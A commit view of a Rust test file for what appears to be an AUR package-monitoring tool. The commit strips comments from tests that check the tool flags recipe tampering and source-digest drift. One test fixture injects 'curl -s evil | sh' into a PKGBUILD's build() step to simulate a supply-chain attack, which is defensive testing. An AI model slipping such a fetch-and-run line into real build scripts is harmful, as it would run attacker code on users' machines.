diff options
| author | aur-build <aur-build@localhost> | 2026-11-19 17:33:17 +0000 |
|---|---|---|
| committer | aur-build <aur-build@localhost> | 2026-11-19 17:33:17 +0000 |
| commit | 4304b0f336ddba7b4ec6780795059ff2066d105b (patch) | |
| tree | 10edea744a1c2bf3fc363b4dc7f64abac8b1a0d3 /tests/notices.rs | |
| parent | e757979f1a2afdbe7146066345bb9acd19d3b151 (diff) | |
| download | aur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.tar.gz aur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.zip | |
comments: keep only what the code cannot show
Stripped every comment that described what an item does, documented its
arguments or fields, or cited the design docs (§n, I-n, m-n, decision n).
2247 comments down to 83.
What survives: the section dividers that segment the large modules, the
secret-handling warnings, the agent wire-frame directions, and the few notes
without which the code they attach to reads as redundant, reorderable, or
unsound.
Diffstat (limited to 'tests/notices.rs')
| -rw-r--r-- | tests/notices.rs | 12 |
1 files changed, 0 insertions, 12 deletions
diff --git a/tests/notices.rs b/tests/notices.rs index 1f2852e..3fb0055 100644 --- a/tests/notices.rs +++ b/tests/notices.rs @@ -11,8 +11,6 @@ fn detect_outcome(env: &Env, name: &str) -> detect::Outcome { detect::check_pkgbase(&env.cfg, &env.db, name).unwrap().outcome } -/// Approve and publish whatever is currently pending, so the next detection has -/// an accepted release to compare against. fn publish_current(env: &Env) { let c = candidates::pending_candidates(&env.db).unwrap().remove(0); let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap(); @@ -29,7 +27,6 @@ fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() { detect_outcome(&env, "digest-drift"); publish_current(&env); - // The bytes behind the SKIP source change and the version does not. fx.swap_payload("EVIL: whatever the CDN serves now"); let outcome = detect_outcome(&env, "digest-drift"); match outcome { @@ -45,7 +42,6 @@ fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() { assert_eq!(notices[0].kind, notice_kind::INTEGRITY_ALERT); assert_eq!(notices[0].severity, "high", "this is the highest-value detection we have"); assert!(notices[0].detail_json.contains("no longer serves"), "{}", notices[0].detail_json); - // And the index keeps serving the artifact built from the old bytes (I1). assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::<String>::new()); assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1)); } @@ -74,7 +70,6 @@ fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() { detect_outcome(&env, "plain-make"); publish_current(&env); - // The maintainer edits the build() body but forgets to bump pkgrel. let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap(); @@ -110,15 +105,12 @@ fn risk_scoring_compares_against_the_accepted_release() { detect_outcome(&env, "plain-make"); publish_current(&env); - // A metadata-only bump: low risk, nothing alarming. fx.bump(&[("pkgrel", "2")]); detect_outcome(&env, "plain-make"); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); assert_eq!(c.risk_level, risk::level::LOW, "signals: {:?}", c.risk_signals()); assert!(!c.risk_signals().iter().any(|s| s.starts_with("recipe-code-changed"))); - // Now change the build body and add a fetching makedep: the shape of a real - // supply-chain edit. let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); std::fs::write( @@ -150,8 +142,6 @@ fn a_first_introduction_is_flagged_as_its_own_kind_of_review() { #[test] fn i11_nothing_publishable_is_ever_silently_dropped() { - // Sweep every fixture through detection and assert the outcome is always a - // review, a notice, an explicit no-change, or a recorded failure. let fixtures = [ "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset", "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails", @@ -169,7 +159,6 @@ fn i11_nothing_publishable_is_ever_silently_dropped() { ), "{name}: first detection produced {first:?}" ); - // Every notice is a row, not just a return value. let notices = db::list_notices(&env.db, false).unwrap(); if let detect::Outcome::Notice { kind, .. } = &first { assert!( @@ -177,7 +166,6 @@ fn i11_nothing_publishable_is_ever_silently_dropped() { "{name}: a {kind} outcome left no notice row" ); } - // Now move something and re-detect: still never silent. let _ = fx.bump(&[("pkgrel", "99")]); let second = detect_outcome(&env, name); assert!( |
